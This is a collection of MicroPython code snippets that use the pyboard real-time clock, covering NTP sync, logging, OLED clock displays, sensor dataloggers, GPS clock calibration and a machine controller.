def set_NTP_time(): import time from pyb import RTC print("Setting time from NTP") t = get_NTP_time() if t is None: print("Could not set time from NTP") return False tz = 0 with database.Database() as db: tz = db.get("timezone", 0) tz_minutes = int(abs(tz) % 100) * (1 if tz >= 0 else -1) tz_hours = int(tz / 100) t += (tz_hours * 3600) + (tz_minutes * 60) tm = time.localtime(t) tm = tm[0:3] + (0, ) + tm[3:6] + (0, ) rtc = RTC() rtc.init() rtc.datetime(tm) return True
def set_NTP_time(): import time from pyb import RTC print("Setting time from NTP") t = get_NTP_time() if t is None: print("Could not set time from NTP") return False tz = 0 with database.Database() as db: tz = db.get("timezone", 0) tz_minutes = int(abs(tz) % 100) * (1 if tz >= 0 else -1) tz_hours = int(tz / 100) t += (tz_hours * 3600) + (tz_minutes * 60) tm = time.localtime(t) tm = tm[0:3] + (0,) + tm[3:6] + (0,) rtc = RTC() rtc.init() rtc.datetime(tm) return True
def settime(): import time from pyb import RTC t = getntptime() tm = time.localtime(t) tm = tm[0:3] + (0,) + tm[3:6] + (0,) rtc = RTC() rtc.init() rtc.datetime(tm)
def settime(): import time from pyb import RTC t = getntptime() tm = time.localtime(t) tm = tm[0:3] + (0, ) + tm[3:6] + (0, ) rtc = RTC() rtc.init() rtc.datetime(tm)
class date_time: def __init__(self): self.datime = RTC() def year(self): tim = self.datime.datetime() return tim[0] def month(self): tim = self.datime.datetime() return tim[1] def day(self): tim = self.datime.datetime() return tim[2] def weekday(self): tim = self.datime.datetime() wds = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday'] return wd[tim[3]-1] def date(self): return '%s/%s/%s' % (self.month(), self.day(), self.year()) def hour(self): tim = self.datime.datetime() h = tim[4] e = 'a.m' if h >= 12 and h != 24: e = 'p.m' if h > 12: h -= 12 return '%s %s' % (h, e) def minute(self): tim = self.datime.datetime() return tim[5] def second(self): tim = self.datime.datetime() return tim[6] def time(self): tim = self.datime.datetime() h = tim[4] e = 'a.m' if h >= 12 and h != 24: e = 'p.m' if h > 12: h -= 12 return '%s:%s:%s %s' % (h, self.minute(), self.second(), e) def subseconds(self): tim = self.datime.datetime() return tim[7]
async def main(loop): rtc = RTC() red = LED(1) red.on() grn = LED(2) sta_if = network.WLAN() sta_if.active(True) sta_if.connect(SSID, PW) while sta_if.status() in ( 1, 2): # https://github.com/micropython/micropython/issues/4682 await asyncio.sleep(1) grn.toggle() if sta_if.isconnected(): red.off() grn.on() await asyncio.sleep(1) # 1s of green == success. grn.off() # Conserve power Latency(2000) count = 0 while True: publish(ujson.dumps([count, rtc.datetime()])) count += 1 await asyncio.sleep(120) # 2 mins else: # Fail to connect red.on() grn.off()
def run(): # Main Loop rtc = RTC() dt = rtc.datetime() delta_min = 3 # increment by 3 minutes total_min = 0 while total_min < 1440: # up to 24H show_time(dt[4], dt[5]) total_min = total_min + delta_min # Add minutes to date _l = list(dt) # Tuple to list (because tuple are immutable) _l[5] += 3 if _l[5] > 59: _l[4] += 1 _l[5] = _l[5] - 59 if _l[4] > 23: _l[4] = 0 dt = tuple(_l) # List to tuple # Wait a bit sleep(0.2)
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2013, 7, 9, 2, 0, 0, 0, 0)) while (True): print(rtc.datetime()) time.sleep(1000)
class airpy_logger: def __init__(self, priority, caching_enabled=False): """ Logger entry point :param priority: logger default priority :param caching_enabled: caching toggle :return: """ self.__LOGGER_PRIORITY = priority self.__CACHING_ENABLED = caching_enabled self.__CACHE = [] self.__CACHE_MAX_LENGTH = 5 self.__RTC = RTC() datetime = self.__RTC.datetime() app_config = {"serial_only": False, "fs_root": ""} try: app_config = load_config_file("app_config.json") os.mkdir("log") except: pass fs_root = app_config['fs_root'] self.__AIR_PY_LOG = ("%slog/airpy-airpy-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__SYSTEM_LOG = ("%slog/airpy-system-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__MISSION_LOG = ("%slog/airpy-mission-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__FILESYSTEM_AVAILABLE = app_config["serial_only"] self.__IN_MISSION = False info("AirPy logger. File sytem available {}".format(app_config['serial_only'])) def __validate_priority(self, priority): """ Determines if log can be printed :param priority: priority to be matched :return: """ return priority >= self.__LOGGER_PRIORITY def __write_on_sd(self, priority, text): """ Writes on sd :param priority: selected log priority :param text: text to be written :return: """ try: if self.__IN_MISSION: self.mission_log.write("%s\n" % text) else: if priority == AIRPY_SYSTEM and self.__FILESYSTEM_AVAILABLE: system_log = open(self.__SYSTEM_LOG, "a") system_log.write("%s\n" % text) system_log.close() print("Serial log:{}".format(text)) if self.__FILESYSTEM_AVAILABLE: self.__cache_log(text) except OSError: pass def __cache_log(self, text): """ Caches log :param text: text to be cached :return: """ if len(self.__CACHE) == self.__CACHE_MAX_LENGTH: self.flush() self.__CACHE.append(text) if not self.__CACHING_ENABLED: self.flush() def flush(self): """ Flushes the content of cache to file log """ air_py_log = open(self.__AIR_PY_LOG, "a") for text in self.__CACHE: air_py_log.write("%s\n" % text) air_py_log.close() self.__CACHE = [] def airpy_log(self, priority, text): """ Final gateway before writing the log :param priority: text priority :param text: text to be written :return: """ if not self.__validate_priority(priority): return datetime = self.__RTC.datetime() time = ("%02d-%02d-%02d:%03d" % (datetime[4], datetime[5], datetime[6], datetime[7])) log_line = ("%s\t%s" % (time, text)) self.__write_on_sd(priority, log_line) def set_logger_priority(self, priority): """ Sets logging priority :param priority: new priority value :return: """ self.__LOGGER_PRIORITY = priority def set_mission_status(self, enabled): """ Changes mission status :param enabled: true means in mission """ self.__IN_MISSION = enabled if enabled: self.mission_log = open(self.__MISSION_LOG, "a") else: self.mission_log.close()
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2018, 5, 28, 2, 0, 0, 0, 0)) while (True): print(rtc.datetime()) time.sleep(1000)
from ssd1306x import SSD1306_I2C import utime # 定义星期和时间(时分秒)显示字符列表 week = ['Mon', 'Tues', 'Wed', 'Thur', 'Fri', 'Sat', 'Sun'] time = ['', '', ''] # 初始化所有相关对象 i2c = I2C(sda=Pin("P0"), scl=Pin("P2"), freq=80000) #频率8MHz oled = SSD1306_I2C(128, 64, i2c, addr=0x3c) rtc = RTC() # 首次上电配置时间,按顺序分别是:年,月,日,星期,时,分,秒,次秒级;这里做了 # 一个简单的判断,检查到当前年份不对就修改当前时间,开发者可以根据自己实际情况来 # 修改。 if rtc.datetime()[0] != 2019: rtc.datetime((2019, 4, 1, 1, 0, 0, 0, 0)) while True: datetime = rtc.datetime() # 获取当前时间 oled.fill(0) # 清屏显示黑色背景 oled.text('01Studio', 0, 0) # 首行显示01Studio oled.text('RTC Clock', 0, 15) # 次行显示实验名称 # 显示日期,字符串可以直接用“+”来连接 oled.text( str(datetime[0]) + '-' + str(datetime[1]) + '-' + str(datetime[2]) + ' ' + week[(datetime[3] - 1)], 0, 40)
print("Determining noise...") (x_min, x_max) = (100, -100) (y_min, y_max) = (100, -100) start = pyb.millis() while (pyb.elapsed_millis(start) < 5000): img = sensor.snapshot().histeq() displacement = img.find_displacement(extra_fb) (x_min, x_max) = (min(x_min, displacement.x_translation()), max(x_max, displacement.x_translation())) (y_min, y_max) = (min(y_min, displacement.y_translation()), max(y_max, displacement.y_translation())) print(rtc.datetime(), x_min, x_max, y_min, y_max) print("==============================================") print("============= Press throttle now =============") print("==============================================") for led_count in range(0, 20): set_servos(prev_throttle - 80) pyb.LED(1).toggle() pyb.delay(200 - (led_count * 10)) pyb.LED(1).off() (run_throttle_millis, stop_throttle_millis) = (690, 145) throttle = prev_throttle - 10 number_of_rounds = 3 throttle_total = 0
import pyb from pyb import RTC rtc = RTC() print(rtc) # make sure that 1 second passes correctly rtc.datetime((2014, 1, 1, 1, 0, 0, 0, 0)) pyb.delay(1001) print(rtc.datetime()[:7]) def set_and_print(datetime): rtc.datetime(datetime) print(rtc.datetime()[:7]) # make sure that setting works correctly set_and_print((2000, 1, 1, 1, 0, 0, 0, 0)) set_and_print((2000, 1, 31, 1, 0, 0, 0, 0)) set_and_print((2000, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 1, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 12, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 13, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 1, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 1, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 59, 0)) set_and_print((2099, 12, 31, 7, 23, 59, 59, 0))
# read analogue temp sensor on Pico # conversion for LMT86LPG # http://www.ti.com/lit/ds/symlink/lmt86.pdf # sensor is +- 0.4 to 0.7C so can round to one decimal place # Kirk Martinez and Denise Yap 2018 import math from time import sleep from pyb import Pin from pyb import RTC a = pyb.ADC(pyb.Pin.board.A5) g = pyb.Pin('A7', pyb.Pin.OUT_PP) rtc = RTC() # set a specific date and time rtc.datetime((2019, 7, 27, 5, 15, 42, 0, 0)) #Tuen on lmt86 print('LMT86 turn on.') g.high() #must wait 2ms before use sleep(0.02) #Check ADC value def adcValue(): adcVal = a.read() return adcVal #Convert ADC value to mV
class airpy_logger: def __init__(self, priority, caching_enabled=False): """ Logger entry point :param priority: logger default priority :param caching_enabled: caching toggle :return: """ self.__LOGGER_PRIORITY = priority self.__CACHING_ENABLED = caching_enabled self.__CACHE = [] self.__CACHE_MAX_LENGTH = 5 self.__RTC = RTC() datetime = self.__RTC.datetime() app_config = {"serial_only": False, "fs_root": ""} try: app_config = load_config_file("app_config.json") os.mkdir("log") except: pass fs_root = app_config['fs_root'] self.__AIR_PY_LOG = ("%slog/airpy-airpy-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__SYSTEM_LOG = ("%slog/airpy-system-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__MISSION_LOG = ("%slog/airpy-mission-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__FILESYSTEM_AVAILABLE = app_config["serial_only"] self.__IN_MISSION = False info("AirPy logger. File sytem available {}".format( app_config['serial_only'])) def __validate_priority(self, priority): """ Determines if log can be printed :param priority: priority to be matched :return: """ return priority >= self.__LOGGER_PRIORITY def __write_on_sd(self, priority, text): """ Writes on sd :param priority: selected log priority :param text: text to be written :return: """ try: if self.__IN_MISSION: self.mission_log.write("%s\n" % text) else: if priority == AIRPY_SYSTEM and self.__FILESYSTEM_AVAILABLE: system_log = open(self.__SYSTEM_LOG, "a") system_log.write("%s\n" % text) system_log.close() print("Serial log:{}".format(text)) if self.__FILESYSTEM_AVAILABLE: self.__cache_log(text) except OSError: pass def __cache_log(self, text): """ Caches log :param text: text to be cached :return: """ if len(self.__CACHE) == self.__CACHE_MAX_LENGTH: self.flush() self.__CACHE.append(text) if not self.__CACHING_ENABLED: self.flush() def flush(self): """ Flushes the content of cache to file log """ air_py_log = open(self.__AIR_PY_LOG, "a") for text in self.__CACHE: air_py_log.write("%s\n" % text) air_py_log.close() self.__CACHE = [] def airpy_log(self, priority, text): """ Final gateway before writing the log :param priority: text priority :param text: text to be written :return: """ if not self.__validate_priority(priority): return datetime = self.__RTC.datetime() time = ("%02d-%02d-%02d:%03d" % (datetime[4], datetime[5], datetime[6], datetime[7])) log_line = ("%s\t%s" % (time, text)) self.__write_on_sd(priority, log_line) def set_logger_priority(self, priority): """ Sets logging priority :param priority: new priority value :return: """ self.__LOGGER_PRIORITY = priority def set_mission_status(self, enabled): """ Changes mission status :param enabled: true means in mission """ self.__IN_MISSION = enabled if enabled: self.mission_log = open(self.__MISSION_LOG, "a") else: self.mission_log.close()
# Receiver code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang from machine import I2C, Pin, SPI, UART, WDT from lis3dh import LIS3DH, LIS3DH_I2C, RANGE_2_G, DATARATE_10_HZ, STANDARD_GRAVITY from pyb import ADC, RTC from ds3231_port import DS3231 import time import os import sys import math if sys.platform == 'pyboard': # Initialising pins thermistor = pyb.ADC('Y12') tx_enable = Pin('X20', Pin.OUT) # Initialising I2C i2c = I2C(1) rtc_i2c = I2C(2) ds3231 = DS3231(rtc_i2c) # Initialising UART uart = UART(4, 115200) # Pins X1 and X2 uart.init(115200, bits=8, parity=None, stop=1, timeout=0) # Non-blocking UART else: print('Incompatible board detected, please connect pyboard') ID = 0 # Receiver ID (0-9). MAKE SURE TO CHANGE accelerometer = LIS3DH_I2C(i2c, int1=None) # Date initialisation rtc = RTC() timeCheck = ds3231.get_time() # Gets current time rtc.datetime(
key_node = 1 ext = ExtInt(Pin('P9'), ExtInt.IRQ_FALLING, Pin.PULL_UP, key) #下降沿触发,打开上拉电阻 while True: lcd.display(sensor.snapshot()) # LCD实时显示 if key_node == 1: #按键被按下 key_node = 0 #清空按键标志位 #红灯亮提示用户看镜头 pyb.LED(RED_LED_PIN).on() sensor.skip_frames(time=2000) #红灯灭,蓝灯亮提示开始拍照 pyb.LED(RED_LED_PIN).off() pyb.LED(BLUE_LED_PIN).on() print("You're on camera!") #拍照并保存,保存文件用时间来命名。 lcd.display(sensor.snapshot().save(str(rtc.datetime()) + ".jpg")) pyb.LED(BLUE_LED_PIN).off() print("Done! Reset the camera to see the saved image.") #延时3秒,观看拍摄图片 pyb.delay(3000)
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2013, 7, 9, 2, 0, 0, 0, 0)) while (True): print(rtc.datetime()) time.sleep_ms(1000)
COLOR = RED # the color to recognize (RED or GREEN) TITLE_ANGLE = 24 # the angle of the title servo (-90 to 90) # setting modes during test: (if true the communication between OpenMv and Due will be invalid) CAMERA_MODE = RED # setting PID: pid = PID() # setting servos: servos = MyServo(p=0.07, i=0, imax=90) servos.init(tilt_angle=TITLE_ANGLE) # setting timer: rtc = RTC() rtc.datetime((0, 0, 0, 0, 0, 0, 0, 0)) # setting input and output: returning_pin = InputFromDue('P4') output_pin = OutputToDue('P6') # setting camera: camera = CameraAsSensor(COLOR) camera.init(INVERSE) clock = time.clock() while (True): clock.tick() img = camera.photo_taking() count = rtc.datetime()[6] # number of second
# Datalogger code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang from machine import Pin, I2C, SPI, UART, WDT from ds3231_port import DS3231 from pyb import RTC import utime import time import sys import os if sys.platform == 'pyboard': # Pin connections tx_enable = Pin('X20', mode=Pin.OUT) # RTC initialisation i2c = I2C(1) ds3231 = DS3231(i2c) # UART initialisation uart = UART(4, 115200) # Pins X1 and X2 uart.init(115200, bits=8, parity=None, stop=1, timeout=500) # Non-blocking UART else: print('Incompatible system detected, please connect a pyboard') # Date initialisation rtc = RTC() timeCheck = ds3231.get_time() # Gets current time rtc.datetime( (timeCheck[0], timeCheck[1], timeCheck[2], timeCheck[6], timeCheck[3], timeCheck[4], timeCheck[5], 0)) # Syncs RTC clock to local time """ # Sets up RTC clock, uncomment to manually set the clock (NOTE: DAY OF WEEK AND TIME ZONE IS NOT WORKING) rtc.datetime((2020, 1, 22, 3, 15, 14, 50, 0)) # Comment out if already programmed
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2000, 0, 0, 0, 0, 0, 0, 0)) while (True): print(rtc.datetime()[5] * 60 + rtc.datetime()[6]) time.sleep(1000)
class SyncedClock_RTC(syncedclock.SyncedClock): # since pyb.RTC() is unreliable for reads, do it ourselves directly _RTC_BASE = const(0x40002800) _RTC_SSR_OFFSET = const(0x28) _rtc_ssr_struct = { "ss": 0 | uctypes.BFUINT32 | 0 << uctypes.BF_POS | 15 << uctypes.BF_LEN } _RTC_TR_OFFSET = const(0x00) _rtc_tr_struct = { "pm": 0 | uctypes.BFUINT32 | 22 << uctypes.BF_POS | 1 << uctypes.BF_LEN, "ht": 0 | uctypes.BFUINT32 | 20 << uctypes.BF_POS | 2 << uctypes.BF_LEN, "hu": 0 | uctypes.BFUINT32 | 16 << uctypes.BF_POS | 4 << uctypes.BF_LEN, "mnt": 0 | uctypes.BFUINT32 | 12 << uctypes.BF_POS | 3 << uctypes.BF_LEN, "mnu": 0 | uctypes.BFUINT32 | 8 << uctypes.BF_POS | 4 << uctypes.BF_LEN, "st": 0 | uctypes.BFUINT32 | 4 << uctypes.BF_POS | 3 << uctypes.BF_LEN, "su": 0 | uctypes.BFUINT32 | 0 << uctypes.BF_POS | 4 << uctypes.BF_LEN } _RTC_DR_OFFSET = const(0x04) _rtc_dr_struct = { "yt": 0 | uctypes.BFUINT32 | 20 << uctypes.BF_POS | 4 << uctypes.BF_LEN, "yu": 0 | uctypes.BFUINT32 | 16 << uctypes.BF_POS | 4 << uctypes.BF_LEN, "wdu": 0 | uctypes.BFUINT32 | 13 << uctypes.BF_POS | 3 << uctypes.BF_LEN, "mt": 0 | uctypes.BFUINT32 | 12 << uctypes.BF_POS | 1 << uctypes.BF_LEN, "mu": 0 | uctypes.BFUINT32 | 8 << uctypes.BF_POS | 4 << uctypes.BF_LEN, "dt": 0 | uctypes.BFUINT32 | 4 << uctypes.BF_POS | 2 << uctypes.BF_LEN, "du": 0 | uctypes.BFUINT32 | 0 << uctypes.BF_POS | 4 << uctypes.BF_LEN } _RTC_MAX = const(8191) # wrap initialiser def __init__(self, *args, **kwargs): super().__init__(args, kwargs) self._uart = None self._pps_pin = None if kwargs is not None: if 'gps_uart' in kwargs: self._uart = kwargs['gps_uart'] if 'pps_pin' in kwargs: self._pps_pin = kwargs['pps_pin'] if (self._uart == None): raise ValueError("need a uart for the gps") if (self._pps_pin == None): raise ValueError("need a pin that gps sends 1pps to us on") # we also need the RTC device self._rtc = RTC() self._pps_event = Event() self._rtc_ssr = uctypes.struct(_RTC_BASE + _RTC_SSR_OFFSET, self._rtc_ssr_struct, uctypes.NATIVE) self._rtc_dr = uctypes.struct(_RTC_BASE + _RTC_DR_OFFSET, self._rtc_dr_struct, uctypes.NATIVE) self._pps_rtc = 0 self._pps_discard = 0 self._ss_offset = -10000 self._refclk = (0, 0, 0, 0, 0, 0) # try to get some better perf out of this, it's staticish code @micropython.native def _pps(self, p): # grab RTC data when we tick # we need to pull this directly out of the registers because we don't want to # allocate ram, and the RTC() module does self._pps_rtc = self._rtc_ssr.ss # need to read DR to nothing to unlock shadow registers self._pps_discard = self._rtc_dr.du self._pps_event.set() return async def _wait_gpslock(self): try: while True: if (self._gps.isLocked()): return True await asyncio.sleep(1) except asyncio.TimeoutError: print("syncedclock_rtc: failed to get lock, reinit gps") return False async def _wait_pps(self): try: await self._pps_event self._pps_event.clear() return True except asyncio.TimeoutError: print("syncedclock_rtc: failed to get pps event in time") return False # this will now be running in a thread, safe to do things which block async def _calibration_loop(self): # start RTC print("syncedclock_rtc: start rtc") self._rtc.init() # initalise gps self._gps = GPS(self._uart) ppsint = ExtInt(self._pps_pin, ExtInt.IRQ_RISING, Pin.PULL_NONE, self._pps) ppsint.disable() self._pps_event.clear() await asyncio.sleep(0) while True: print("syncedclock_rtc: initalise gps") await self._gps.set_auto_messages(['RMC'], 1) await self._gps.set_pps_mode(GPS.PPS_Mode.FIX, 42, GPS.PPS_Polarity.ACTIVE_HIGH, 0) print("syncedclock_rtc: waiting for gps lock (30s)") res = await asyncio.wait_for(self._wait_gpslock(), 30) if (res == False): continue print( "syncedclock_rtc: gps locked, start pps interrupt and wait for pps (3s)" ) #self._pps_pin.irq(trigger=Pin.IRQ_RISING, handler=self._pps) ppsint.enable() res = await asyncio.wait_for(self._wait_pps(), 3) if (res == False): print( "syncedclock_rtc: pps signal never recieved, bad wiring?") print("syncedclock_rtc: terminating") return # PPS signal leads GPS data by about half a second or so # so the GPS data contains the *previous* second at this point # add 1 second and reset RTC print("syncedclock_rtc: pps pulse recieved, set RTC clock") date = self._gps.date() time = self._gps.time() # helpfully utime and pyb.RTC use different order in the tuple now = utime.localtime( utime.mktime((date[2], date[1], date[0], time[0], time[1], time[2], 0, 0)) + 1) self._rtc.datetime( (now[0], now[1], now[2], 0, now[3], now[4], now[5], 0)) print("syncedclock_rtc: rtc clock now", self._rtc.datetime()) await asyncio.sleep(0) print("syncedclock_rtc: calibration loop started") # ensure we ignore the first cycle last_rtc_ss = -1 # count 32 seconds and calculate the error count = 0 tick_error = 0 while True: # each time we get an PPS event, work out the ticks difference res = await asyncio.wait_for(self._wait_pps(), 3) if (res == False): print("syncedclock_rtc: lost pps signal, restarting") self._locked = False #self._pps_pin.irq(handler=None) ppsint.disable() break rtc_ss = self._pps_rtc await asyncio.sleep(0) # first pass, just discard the value if (last_rtc_ss == -1): last_rtc_ss = rtc_ss continue await asyncio.sleep(0) count += 1 # compute the difference in ticks between this and the last error = (rtc_ss - last_rtc_ss) if (abs(error) > _RTC_MAX - 50): # probably actually rollover problem if (rtc_ss < last_rtc_ss): error = (rtc_ss + _RTC_MAX + 1 - last_rtc_ss) else: error = (rtc_ss - last_rtc_ss + _RTC_MAX + 1) await asyncio.sleep(0) #print(error) tick_error += (error) last_rtc_ss = rtc_ss # always use the last top of second as current offset if it's not a huge error # when locked if (self._locked and tick_error > -1 and tick_error < 1): self._ss_offset = rtc_ss await asyncio.sleep(0) if (count == 32): # if the tick error is +/-1 ticks, it's locked enough # we're only then about 3.81ppm but that's close enough if (self._locked == True and (tick_error > 1 or tick_error < -1)): print("syncedclock_rtc: lost lock") self._locked = False await asyncio.sleep(0) if (self._locked == False and (tick_error <= 1 and tick_error >= -1)): print("syncedclock_rtc: locked with", self._rtc.calibration()) # only cache top of second when we enter lock #self._ss_offset = (_RTC_MAX-rtc_ss) self._locked = True await asyncio.sleep(0) if (self._locked == True): # update reference clock point self._refclk = self._rtc.datetime() await asyncio.sleep(0) if (self._locked == False): print("syncedclock_rtc: error now", tick_error) # the total ticks missing should be applied to the calibration # we do this continously so we can ensure the clock is always remaining in sync await asyncio.sleep(0) try: self._rtc.calibration(self._rtc.calibration() + tick_error) except: print("syncedclock_rtc: error too large, ignoring") # allow us to to be interrupted now await asyncio.sleep(0) #print(rtc.calibration()) count = 0 tick_error = 0 def _rtc_to_unixtime(self, rtc_tuple, rtc_offset): ts = utime.mktime(( rtc_tuple[0], # year rtc_tuple[1], # month rtc_tuple[2], # day rtc_tuple[4], # hour rtc_tuple[5], # minute rtc_tuple[6], # second 0, 0)) + 946684800 # weekday and dayofyear are ignored tss = (_RTC_MAX - rtc_tuple[7]) + rtc_offset if tss >= _RTC_MAX: tss -= _RTC_MAX + 1 ts += 1 if tss < 0: tss += _RTC_MAX + 1 ts -= 1 return (ts, tss << 19) def now(self): if not self._locked: return None return self._rtc_to_unixtime(self._rtc.datetime(), self._ss_offset) def refclk(self): if not self._locked: return None return self._rtc_to_unixtime(self._refclk, self._ss_offset) async def start(self): super().start() loop = asyncio.get_event_loop() loop.create_task(self._calibration_loop()) print("syncedclock_rtc: calibration loop created") await asyncio.sleep(0) return
class MakhinaControl: log = None log_name = '' log_time = None t1 = '000.0' t2 = '000.0' p1 = '000.0' p2 = '000.0' config = '000' extrudo_speed = "000.0" first_head_speed = "00.0" second_head_speed = "00.0" reciever_speed = "00.0" current_error = -1 owen_is_broken = False def __init__(self): self.makhina = Makhina() self.plus_button = AnalogButton(up_button_pin) self.minus_button = AnalogButton(down_button_pin) self.right_button = AnalogButton(right_button_pin) self.start_button = AnalogButton(start_button_pin) self.stop_button = AnalogButton(stop_button_pin) self.level_material = machine.Pin(level_material_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.break_arm = machine.Pin(break_arm_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.emergency_stop = machine.Pin(emergency_stop_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.high_temperature = machine.Pin(high_temperature_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.assertion = machine.Pin(assertion_pin, machine.Pin.OUT) self.assertion.value(0) self.start_button.handler = self.start self.stop_button.handler = self.stop self.change_current_config('000') self.rtc = RTC() print("INIT SPEEDS") self.high_pressure_error = Error(2) self.high_pressure_error.check = self.high_pressure_check self.high_pressure_error.primary_handler = self.high_pressure_primary_handler self.high_pressure_error.skip = self.skip_high_pressure self.low_raw_material_error = Error(3) self.low_raw_material_error.check = self.low_raw_material_check self.low_raw_material_error.primary_handler = self.low_raw_primary_handler self.low_raw_material_error.skip = self.skip_low_raw_material self.break_arm_error = Error(4) self.break_arm_error.check = self.break_arm_check self.break_arm_error.primary_handler = self.break_arm_primary_nandler self.break_arm_error.skip = self.skip_break_arm self.emergency_stop_error = Error(5) self.emergency_stop_error.check = self.emergency_stop_check self.emergency_stop_error.primary_handler = self.emergency_stop_primary_handler self.emergency_stop_error.skip = self.skip_emergency_stop self.errors = [ self.high_pressure_error, self.low_raw_material_error, self.break_arm_error, self.emergency_stop_error, ] def start_new_log(self): if self.log: self.log.close() *_, month, day, _, hours, minutes, seconds, _ = self.rtc.datetime() self.log_time = (month, day, hours, minutes, seconds) self.log_name = '.'.join(zfill(str(x), 2) for x in self.log_time) self.log = open('/sd/logs/' + self.log_name, 'w') def log_new_data(self, new_data): self.t1, self.t2, self.p1, self.p2 = new_data *_, month, day, _, hours, minutes, seconds, _ = self.rtc.datetime() new_time = (month, day, hours, minutes, seconds) print("new_time", new_time) if count_time_diff(self.log_time, new_time) // 60 >= log_length: self.start_new_log() print("writing in log") self.log.write(zfill(str(hours), 2) + zfill(str(minutes), 2)\ + ''.join([to_float(x) for x in new_data]) + '\n') self.log.flush() def update_data_withput_logging(self, new_data): print("update") self.t1, self.t2, self.p1, self.p2 = new_data def start(self): self.makhina.start() self.start_new_log() def stop(self): self.makhina.stop() def assertion_client(self): print("ASERTION") self.assertion.value(1) def stop_assertion(self): print("STOP ASERTION") self.assertion.value(0) def check_max(self): print("check max") if float(self.extrudo_speed) > max_extruder_round: self.extrudo_speed = str(max_extruder_round) if float(self.first_head_speed) > max_first_head_round: self.first_head_speed = str(max_first_head_round) if float(self.second_head_speed) > max_second_head_round: self.second_head_speed = str(max_second_head_round) if float(self.reciever_speed) > max_reciver_round: self.reciever_speed = str(max_reciver_round) def set_speeds(self, speeds): self.extrudo_speed, self.first_head_speed, self.second_head_speed, self.reciever_speed = speeds self.check_max() print('Speeds in set speeds', self.extrudo_speed) self.makhina.extrudo_engine.set_round_per_min(float(self.extrudo_speed)) self.makhina.first_head_engine.set_round_per_min(float(self.first_head_speed)) self.makhina.second_head_engine.set_round_per_min(float(self.second_head_speed)) self.makhina.reciever_engine.set_round_per_min(float(self.reciever_speed)) with open("/sd/recipes/" + self.config, "w") as f: f.write("".join(list(map(to_float, [self.extrudo_speed, self.first_head_speed, self.second_head_speed, self.reciever_speed])))) print("writing at /sd/recipes/" + self.config) def change_current_config(self, config): self.config = zfill(str(config), 3) print("current_config", self.config) try: with open("/sd/recipes/" + self.config) as f: speeds = f.read() except: with open("/sd/recipes/" + self.config, "w") as f: speeds = "000.0" * 4 f.write(speeds) self.extrudo_speed, self.first_head_speed, self.second_head_speed, self.reciever_speed = chunkstring(speeds, 5) self.first_head_speed = self.first_head_speed[1:] self.second_head_speed = self.second_head_speed[1:] self.reciever_speed = self.reciever_speed[1:] self.set_speeds((self.extrudo_speed, self.first_head_speed, self.second_head_speed, self.reciever_speed)) ########################################### # HIGH PRESSURE ########################################### def high_pressure_check(self): if float(self.p1) > max_pressure or float(self.p2) > max_pressure: return True return False def high_pressure_primary_handler(self): self.stop() def skip_high_pressure(self): if (float(self.p1) <= max_pressure or float(self.p2) <= max_pressure) and self.high_pressure_error.notify_client: self.high_pressure_error.notify_client = False return True return False ############################################ # LOW RAW MATERIAL ############################################ def low_raw_material_check(self): if not self.level_material.value() and not self.low_raw_material_error.notify_client: return True return False def low_raw_primary_handler(self): pass def skip_low_raw_material(self): if self.level_material.value() or self.low_raw_material_error.notify_client: return True return False ############################################ # BREAK ARM ############################################ def break_arm_check(self): if not self.break_arm.value() and not self.break_arm_error.notify_client: return True return False def break_arm_primary_nandler(self): pass def skip_break_arm(self): if self.break_arm.value() or self.break_arm_error.notify_client: return True return False ############################################# # EMERGENCY STOP ############################################# def emergency_stop_check(self): if not self.emergency_stop.value(): return True return False def emergency_stop_primary_handler(self): pass def skip_emergency_stop(self): if self.emergency_stop.value() and self.emergency_stop_error.notify_client: return True return False
# Datalogger code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang """ DEFAULT SETTINGS MODE = DATA_RATE_1HZ BAUD RATE: 9600 UART DATA FRAME: bits=8, parity=None, stop=1, timeout=1000 WDT TIMEOUT: 3000ms 1 HZ SLEEP: 30s 2 HZ SLEEP: 10s """ from machine import Pin, I2C, SPI, UART, WDT from ds3231_port import DS3231 from pyb import RTC import utime import time import sys import os # Timeout values global SLEEP_1HZ global SLEEP_2HZ SLEEP_1HZ = 30 SLEEP_2HZ = 10 # Modes global DATA_RATE_1HZ global DATA_RATE_2HZ global MODE DATA_RATE_1HZ = 'one' DATA_RATE_2HZ = 'two' MODE = DATA_RATE_1HZ # Choose modes here (DATA_RATE_1HZ or DATA_RATE_2HZ)
